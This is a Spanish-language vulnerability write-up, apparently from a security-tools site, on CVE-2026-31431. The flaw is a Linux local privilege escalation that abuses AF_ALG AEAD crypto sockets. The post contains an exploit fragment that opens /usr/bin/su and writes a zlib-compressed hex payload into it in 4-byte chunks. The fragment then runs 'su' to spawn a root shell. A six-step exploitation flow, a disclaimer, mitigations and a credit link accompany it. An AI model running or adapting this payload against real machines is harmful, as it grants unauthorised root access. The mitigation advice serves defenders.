CVE-2026-31431

📌 CVE-2026-31431 – Escalada de Privilegios mediante el Uso Incorrecto de Sockets Criptográficos AEAD

🧠 Resumen

CVE-2026-31431 es una vulnerabilidad de escalada de privilegios en Linux que abusa de la interfaz AF_ALG (API criptográfica del kernel). Al elaborar una interacción maliciosa con sockets AEAD (Cifrado Autenticado con Datos Asociados), un atacante puede escalar privilegios y ejecutar código como root.

Esta vulnerabilidad aprovecha el manejo inadecuado de las operaciones de sockets criptográficos, lo que permite la manipulación controlada de la memoria y, finalmente, la escalada de privilegios.

⚠️ Impacto

• Escalada local de privilegios
• Acceso a shell root (/usr/bin/su)
• Afecta a sistemas con implementaciones criptográficas vulnerables del kernel

🔍 Desglose Técnico

El exploit:

• Crea un socket AF_ALG

• Se vincula a:

  root@kitploit:~

  authenc(hmac(sha256),cbc(aes))
  

• Utiliza payloads manipulados mediante setsockopt y sendmsg

• Desencadena un comportamiento no deseado del kernel

• Accede a una shell root mediante:

  root@kitploit:~

  g.system("su")
  

Indicadores clave:

• Uso de socket(38,5,0) → AF_ALG
• Manipulación de AEAD
• Escrituras de memoria controladas mediante payload comprimido (zlib)

💻 Prueba de Concepto (PoC)

🔑 Fragmento del Payload Principal:

**Descargo de responsabilidad: No soy el autor de este PoC. Es solo con fines educativos para pruebas en entornos donde se disponga del permiso. El autor/propietario no será responsable de ningún uso indebido. **

f=g.open("/usr/bin/su",0)
i=0
e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))

while i<len(e):
    c(f,i,e[i:i+4])
    i+=4

g.system("su")

🚀 Flujo de Explotación

1. Inicializar el socket criptográfico
2. Configurar los parámetros AEAD
3. Enviar el payload manipulado
4. Desencadenar la falla del kernel
5. Sobrescribir el flujo de ejecución
6. Generar una shell root

🛡️ Mitigación

• Aplicar el parche del kernel a la versión más reciente
• Restringir el acceso a los sockets AF_ALG
• Usar políticas LSM (AppArmor/SELinux)
• Supervisar el uso anómalo de la API criptográfica

🙏 Créditos

• PoC: https://github.com/theori-io/copy-fail-CVE-2026-31431